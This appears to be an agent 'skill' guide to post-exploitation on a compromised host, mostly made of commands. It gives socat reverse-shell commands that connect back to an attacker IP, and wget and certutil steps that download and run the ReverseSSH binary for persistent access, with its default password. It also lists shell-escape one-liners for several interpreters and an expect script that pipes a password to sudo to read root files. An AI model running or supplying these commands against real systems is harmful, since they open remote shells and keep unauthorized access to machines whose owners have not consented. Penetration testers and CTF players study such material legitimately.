Reverse Shell TTY Upgrade
This skill helps you upgrade basic reverse shells to fully interactive TTY sessions with proper terminal features, and provides methods for persistent access and file transfers.
When to Use This Skill
- You have a reverse shell but lack tab completion, proper terminal output, or interactive capabilities
- You need to run commands that require a TTY (like
sudo,vim,less) - You want to set up persistent SSH access from a compromised host
- You need to interact with programs that expect user input without a TTY
- You're working with limited shell access and need to spawn better shells
Quick Reference: TTY Upgrade Methods
Method 1: Python (Most Common)
# On the target (from your reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then in your listener (Ctrl+Z to background, then):
stty raw -echo; fg; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset
Method 2: Script Command
# On the target:
script /dev/null -qc /bin/bash
# Then in your listener (same as above):
Ctrl+Z; stty raw -echo; fg; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset
Method 3: Socat (Best Quality)
# On your attacker machine (listener):
socat file:`tty`,raw,echo=0 tcp-listen:4444
# On the target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR_IP:4444
Shell Spawning from Different Interpreters
If you're stuck in another interpreter, use these to spawn a shell:
| Interpreter | Command |
|---|---|
| Python | python -c 'import pty; pty.spawn("/bin/sh")' |
| Perl | perl -e 'exec "/bin/sh"' |
| Ruby | ruby -e 'exec "/bin/sh"' |
| Lua | lua -e 'os.execute("/bin/sh")' |
| IRB | exec "/bin/sh" |
| Vi/Vim | :!bash or :set shell=/bin/bash:shell |
| Nmap | !sh |
| Generic | /bin/sh -i |
ReverseSSH for Persistent Access
ReverseSSH provides SSH-like access including file transfers and port forwarding.
Setup (Attacker Machine)
# Download and prepare the listener
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh
chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -v -l -p 4444
Deploy to Target (Linux)
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh
chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -p 4444 YOUR_USER@YOUR_IP
Deploy to Target (Windows)
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 YOUR_USER@YOUR_IP
Connect After Setup
# Interactive shell
ssh -p 8888 127.0.0.1
# Password: letmeinbrudipls
# File transfer
sftp -P 8888 127.0.0.1
Working Without TTY (Expect Script)
When you cannot get a full TTY but need to interact with programs:
expect -c 'spawn sudo -S cat "/root/root.txt"; expect "*password*"; send "<PASSWORD>"; send "\r\n"; interact'
Expect Script Template
#!/usr/bin/expect -f
set timeout 30
spawn <COMMAND>
expect "*password*"
send "<PASSWORD>\r"
interact
Important Notes
SHELL Variable: The shell you set in
SHELLmust be listed in/etc/shells, or you'll get an error.Terminal Size: Get your terminal dimensions with
stty -a, then set them withstty rows <N> columns <M>.Bash Required: Most TTY upgrade methods only work in bash. If you're in zsh or another shell, switch first:
bashPenelope Tool: For automatic TTY upgrade with logging and readline support, consider Penelope
Troubleshooting
| Issue | Solution |
|---|---|
| "SHELL variable not found in /etc/shells" | Check /etc/shells and use a listed shell |
| No tab completion | Ensure you ran the full TTY upgrade sequence |
| Commands fail silently | Try script /dev/null -qc /bin/bash method |
| Can't run interactive programs | Use expect script or upgrade to full TTY |
| Shell disconnects | Use socat method for more stable connection |
Workflow Summary
- Get initial reverse shell (via your preferred method)
- Upgrade to TTY using Python, script, or socat
- Set environment variables (SHELL, TERM, stty)
- Run reset to initialize terminal properly
- Consider ReverseSSH for persistent access and file transfers
- Use expect if TTY upgrade fails but you need interactive input